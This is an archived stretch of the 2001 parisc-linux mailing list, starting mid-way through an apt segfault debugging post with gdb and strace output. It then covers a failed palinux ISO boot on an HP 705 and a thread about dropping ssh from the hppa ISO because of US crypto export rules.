0x4005fe94 <_ZN4MMap3MapER6FileFd+120>: #   20257

and other random stuff.  If I re-run in gdb (which type=15 faulted but
that's another story), disassembly of the same location shows:

0x4005fe84 <_ZN4MMap3MapER6FileFd+104>: b,l 0x4005fa48 <_end_init+184>,rp
0x4005fe88 <_ZN4MMap3MapER6FileFd+108>: stw r20,-34(sr0,sp)
0x4005fe8c <_ZN4MMap3MapER6FileFd+112>: copy ret0,r20
0x4005fe90 <_ZN4MMap3MapER6FileFd+116>: copy r3,r19
0x4005fe94 <_ZN4MMap3MapER6FileFd+120>: stw  r20,c(sr0,r4)

The function MMap::Map() is in the apt-specific shared library from which
code has been happily executing prior to the type=6 fault.  strace
shows in part (full trace at http://puffin.external.hp.com/~bame/strace.out):

msync(0x40392000, 1212680, MS_SYNC)     = 0
msync(0x40392000, 8536, MS_SYNC)        = 0
munmap(0x40392000, 6291456)             = 0
ftruncate(9, 1212680)                   = 0
newfstat(9, {st_mode=S_IFREG|0644, st_size=1212680, ...}) = 0
mmap(NULL, 1212680, PROT_READ, MAP_SHARED, 9, 0) = 0x3ff92000
--- SIGSEGV (Segmentation fault) ---

0x40392000 and fd=9 both refer to the mapped pkgcache.bin file.  So it
looks like the fault happens shortly after the file is unmapped and
then remapped read-only at a different location.  The library containing
MMap::Map() was mapped like this:

open("/home/bame/apt/build/bin/libapt-pkg-libc6.2-3.so.3.2", O_RDONLY) = 3
mmap(NULL, 1004804, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002b000
mprotect(0x400f8000, 165124, PROT_NONE) = 0
mmap(0x40107000, 106496, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0xcc000) = 0x40107000

	-P

-------------------------------------------------------------------
$ LD_LIBRARY_PATH=$PWD ldd -v ./apt-get
        libapt-pkg-libc6.2-3.so.3.2 => /home/bame/apt/build/bin/libapt-pkg-libc6.2-3.so.3.2 (0x4002b000)
        libstdc++.so.3 => /usr/lib/libstdc++.so.3 (0x40121000)
        libm.so.6 => /lib/libm.so.6 (0x401b8000)
        libc.so.6 => /lib/libc.so.6 (0x40248000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

        Version information:
        ./apt-get:
                libc.so.6 (GLIBC_2.2) => /lib/libc.so.6
        /home/bame/apt/build/bin/libapt-pkg-libc6.2-3.so.3.2:
                libc.so.6 (GLIBC_2.2) => /lib/libc.so.6
        /usr/lib/libstdc++.so.3:
                libc.so.6 (GLIBC_2.2) => /lib/libc.so.6
        /lib/libm.so.6:
                libc.so.6 (GLIBC_2.2) => /lib/libc.so.6
        /lib/libc.so.6:
                ld.so.1 (GLIBC_2.2.3) => /lib/ld.so.1
                ld.so.1 (GLIBC_2.2) => /lib/ld.so.1





From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Wilson <derek.wilson@am.qub.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting palinux-0.6.1-32STI ISO on HP 705 problem (failed to load
 kernel)
Date: Wed, 30 May 2001 10:51:47 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <3B14C2B3.6176C2E@am.qub.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620153 19709 80.91.229.3 (22 Nov 2014 01:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 03:51:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hornet.am.qub.ac.uk (hornet.am.qub.ac.uk [143.117.23.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C2B6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 03:51:49 -0600 (MDT)
Original-Received: from am.qub.ac.uk (meta.am.qub.ac.uk [143.117.23.208])
	by hornet.am.qub.ac.uk (8.8.7/8.8.7) with ESMTP id KAA17194
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 10:51:55 +0100
Original-Sender: derekw@hornet.am.qub.ac.uk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11158

Hello


First of all, thank you to everyone working on parisc-linux.

I have been asked to install linux on a few HP 700 machines. I was
recommended to try a 705 machine first as it had a CDROM and reportedly
worked well. It has 32 MB of RAM, hard disk size unknown.  It boots into
the CDE login screen without any problems, as far as I can tell. We
don't know the root password, or usernames and their passwords.

I downloaded the palinux-0.6.1-32STI.iso.gz file from
ftp://puffin.external.hp.com/pub/parisc/cd-images
and burned it to CD. I then tryed booting this CD from the CDROM on the
705 machine. It seemed to access the CDROM for a few seconds then die.
This is the output sent to the monitor


Trying scsi.2.0
Boot path initialised
Attempting to load IPL

Hard booted
palo ipl debackex@pc5158a Wed Apr 11 17:56:43 CEST 2001
0/vmlinux 2652553 bytes @ 0xafa800
0/palo-cmdline '0/vmlinux ROOT=/ TERM=linux root=/dev/scd0 console=tty
ramdisk=8192'
kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 5
Sement 0 load 00100000 size 1533364   mediaptr 0x1000
Sement 1 load 00278000 size 202856     mediaptr 0x178000
Sement 2 load 002ac000 size 21904       mediaptr 0x1aa000
Sement 3 load 002e4000 size 8192         mediaptr 0x1e0000
Sement 4 load 00326aa8 size 76560       mediaptr 0x1e2aa8

ERROR: Read from boot device failed (status = -4).
byteio_read: seekread() returned -1 expected 2048
ERROR: Segment 0 read() failed Fatal error loading kernel ex
failed to load kernel


From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nobody@nowhere.invalid (Unknown)
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sat, 22 Nov 2014 01:35:53 +0000 (UTC)
Lines: 28
Approved: news@gmane.org
Message-ID: <46499.5562601418$1416620153@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620153 19717 80.91.229.3 (22 Nov 2014 01:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:53 +0000 (UTC)
Original-X-From: looking at another boot log
http: //lists.parisc-linux.org/pipermail/parisc-linux/2001-May/012555.html
Xref: news.gmane.org gmane.linux.ports.parisc:11159

it seems that the installation dies before or when it tries to `branch
to kernel entry point 0x00100000'

Why might this be?

If I try booting from a serial console, over NFS or using rbootd will I
run into the same problem?

>From the email archive

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-April/012249.html

I see that 710 machines appear to have problems with "interrupt routing
from the scsi and lan chips to the cpu". Could 705's have the same
problems (705's and 710's use the same scsi driver according to the
hardware database, so presumably they use at least very similar scsi
hardware), and is this the cause of my problem?

Any and all help will be gratefully received, on or off list.


Thanks in advance, Derek.







From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 20:58:28 +1000
Lines: 11
Approved: news@gmane.org
Message-ID: <3B155EF4.29237.ADA2D47@localhost>
References: <20010529233238.ED68937CFD@carmen.fc.hp.com>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620153 19726 80.91.229.3 (22 Nov 2014 01:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 04:57:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 067C7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 04:57:46 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.115.55])
          by mta03.mail.mel.aone.net.au with ESMTP
          id <20010530105742.ZRVM4037.mta03.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 30 May 2001 20:57:42 +1000
Original-Received: from winnie.sspl.net.au (winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id UAA05269
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 20:57:38 +1000
Priority: normal
In-reply-to: <20010529233238.ED68937CFD@carmen.fc.hp.com>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:11160

> ssh (I accidentally forgot to remove it from the last list)

Can I ask the reason why this is being taken out?



Pete.





From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 09:04:59 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200105301504.JAA09492@puffin.external.hp.com>
References: <3B155EF4.29237.ADA2D47@localhost>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620154 19733 80.91.229.3 (22 Nov 2014 01:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: plaven@ozemail.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 09:12:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A496482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 09:12:18 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA09492;
	Wed, 30 May 2001 09:04:59 -0600
In-Reply-To: Your message of "Wed, 30 May 2001 20:58:28 +1000."
             <3B155EF4.29237.ADA2D47@localhost> 
Xref: news.gmane.org gmane.linux.ports.parisc:11161

"Pete" wrote:
> Can I ask the reason why this is being taken out?

ssh is subject to US export restrictions. We can't export
a CD image with it either.
Debian has it in "non-us" section for the same reason - so it can be
built/distributed "off-shore". Stupid, but that's the law here, now.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 16:16:03 +0100 (BST)
Lines: 13
Approved: news@gmane.org
Message-ID: <E1557hb-00066I-00@the-village.bc.nu>
References: <200105301504.JAA09492@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620154 19740 80.91.229.3 (22 Nov 2014 01:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:54 +0000 (UTC)
Cc: plaven@ozemail.com.au, parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 09:18:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA0F1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 09:18:49 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 1557hb-00066I-00; Wed, 30 May 2001 16:16:03 +0100
In-Reply-To: <200105301504.JAA09492@puffin.external.hp.com> from "Grant Grundler" at May 30, 2001 09:04:59 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11162

> ssh is subject to US export restrictions. We can't export
> a CD image with it either.

US export rules were significantly relaxed over the past year. The bad days
are mostly gone providing you dont ship from the USA directly to Cuba, Iraq
and other countries the US doesnt like (eg Afghanistan, except when the US
govt is sending them huge amounts of money)

Alan





From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 09:19:04 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200105301519.JAA09728@puffin.external.hp.com>
References: <E1557hb-00066I-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620154 19747 80.91.229.3 (22 Nov 2014 01:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 09:26:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E771B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 09:26:56 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA09728;
	Wed, 30 May 2001 09:19:04 -0600
In-Reply-To: Your message of "Wed, 30 May 2001 16:16:03 BST."
             <E1557hb-00066I-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:11163

Alan Cox wrote:
> US export rules were significantly relaxed over the past year.

I can only speculate how much of that is pressure from US SW industry
vs RSA patent expiring changing the influence of lobbyists.

>  The bad days
> are mostly gone providing you dont ship from the USA directly to Cuba, Iraq
> and other countries the US doesnt like (eg Afghanistan, except when the US
> govt is sending them huge amounts of money)

Well, internet still doesn't know where Cuba begins or ends exactly...
and the USA gov knows where to find me. :^(

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: List of packages for hppa ISO release vers
	ion 2
Date: Wed, 30 May 2001 12:00:36 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620155 19755 80.91.229.3 (22 Nov 2014 01:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Grant Grundler' <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 10:02:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id C20E6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 10:02:16 -0600 (MDT)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 4FA94114A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 12:02:16 -0400 (EDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP
	id 041A61F515; Wed, 30 May 2001 12:01:56 -0400 (EDT)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <K8XXGJK7>; Wed, 30 May 2001 12:02:15 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11164

Howabout having the master archive in another country (like France) and all
sites in the US being mirrors of the site?  Import of cryptology into the US
is legal.  Debian has this structure as there are mirrors of non-US in the
US and Canada.

I believe this puts the burden of maintaining the ssh stuff on the master
site.  Is that untenable?

Kevin

All opinions are mine and are no way even vaguely related to my employer.

-----Original Message-----
From: Grant Grundler [mailto:grundler@puffin.external.hp.com]
Sent: Wednesday, May 30, 2001 8:19 AM
To: Alan Cox
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release
version 2 


Alan Cox wrote:
> US export rules were significantly relaxed over the past year.

I can only speculate how much of that is pressure from US SW industry
vs RSA patent expiring changing the influence of lobbyists.

>  The bad days
> are mostly gone providing you dont ship from the USA directly to Cuba,
Iraq
> and other countries the US doesnt like (eg Afghanistan, except when the US
> govt is sending them huge amounts of money)

Well, internet still doesn't know where Cuba begins or ends exactly...
and the USA gov knows where to find me. :^(

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 17:20:27 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010530172027.B7349@parcelfarce.linux.theplanet.co.uk>
References: <200105301504.JAA09492@puffin.external.hp.com> <E1557hb-00066I-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620155 19763 80.91.229.3 (22 Nov 2014 01:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:55 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	plaven@ozemail.com.au, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 10:20:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEA83482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 10:20:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1558hv-0006XK-00; Wed, 30 May 2001 17:20:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E1557hb-00066I-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Wed, May 30, 2001 at 04:16:03PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11165

On Wed, May 30, 2001 at 04:16:03PM +0100, Alan Cox wrote:
> US export rules were significantly relaxed over the past year. The bad days
> are mostly gone providing you dont ship from the USA directly to Cuba, Iraq
> and other countries the US doesnt like (eg Afghanistan, except when the US
> govt is sending them huge amounts of money)

Debian still make the distinction (though a lawyer is being consulted
imminently, I hear).  We don't have the inclination to go through all
the lawyering ourselves at this point, so we decided to not ship non-us
packages on the CD.  There's nothing to stop anyone accessing the debian
non-us archive, where you will find ssh, ircii, krb5, lynx-ssl, apache-ssl,
gnupg, postgres and many other good things.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release vers ion 2
Date: Wed, 30 May 2001 17:31:27 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010530173127.C7349@parcelfarce.linux.theplanet.co.uk>
References: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620155 19768 80.91.229.3 (22 Nov 2014 01:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:55 +0000 (UTC)
Cc: 'Grant Grundler' <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 10:31:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0A84482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 10:31:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1558sZ-0006jy-00; Wed, 30 May 2001 17:31:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com>; from kevin_carson@hp.com on Wed, May 30, 2001 at 12:00:36PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11166

On Wed, May 30, 2001 at 12:00:36PM -0400, CARSON,KEVIN (HP-Canada,ex1) wrote:
> Howabout having the master archive in another country (like France) and all
> sites in the US being mirrors of the site?  Import of cryptology into the US
> is legal.  Debian has this structure as there are mirrors of non-US in the
> US and Canada.

The price of bandwidth is an important factor.  ftp-master takes in 300MB
over the course of a day and then pulses that 300MB to 6 other servers
once a day.  This option has been discussed before; if you think you have
a solution, I'm sure there's an appropriate debian mailing list for it
(not sure which one though).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release vers ion 2
Date: Thu, 31 May 2001 00:38:33 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20010531003830.M24954@neep.com.au>
References: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com> <20010530173127.C7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620155 19775 80.91.229.3 (22 Nov 2014 01:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 10:38:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.24.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 25BAD482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 10:38:46 -0600 (MDT)
Original-Received: (qmail 4912 invoked by uid 666); 30 May 2001 16:38:34 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.174.83)
  by mail.iinet.net.au with SMTP; 30 May 2001 16:38:34 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id AAA26503
	for parisc-linux@lists.parisc-linux.org; Thu, 31 May 2001 00:38:36 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010530173127.C7349@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, May 30, 2001 at 05:31:27PM +0100
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11167

Matthew Wilcox said:
> The price of bandwidth is an important factor.  ftp-master takes in 300MB
> over the course of a day and then pulses that 300MB to 6 other servers
> once a day.  This option has been discussed before; if you think you have
> a solution, I'm sure there's an appropriate debian mailing list for it
> (not sure which one though).

... and this year has already seen the death of one major node (Canada)
due to bandwidth costs.  =(

On www.debian.org there are the details of all the mailing lists, and
there is at least one dedicated to the maintenance of FTP mirrors - I
think it's called debian-mirror or something equally imaginative.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 2
Date: Wed, 30 May 2001 16:26:17 +0100 (BST)
Lines: 11
Approved: news@gmane.org
Message-ID: <E1557rV-00067O-00@the-village.bc.nu>
References: <200105301519.JAA09728@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620156 19785 80.91.229.3 (22 Nov 2014 01:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:56 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 11:03:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD64D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 11:03:54 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 1557rV-00067O-00; Wed, 30 May 2001 16:26:17 +0100
In-Reply-To: <200105301519.JAA09728@puffin.external.hp.com> from "Grant Grundler" at May 30, 2001 09:19:04 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11168

> Well, internet still doesn't know where Cuba begins or ends exactly...
> and the USA gov knows where to find me. :^(

Talk to hpa@transmeta.com and quinlan@transmeta.com

They did the paperwork needed to throw crypto up on ftp.kernel.org and probably
know the right contacts





From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version
 2
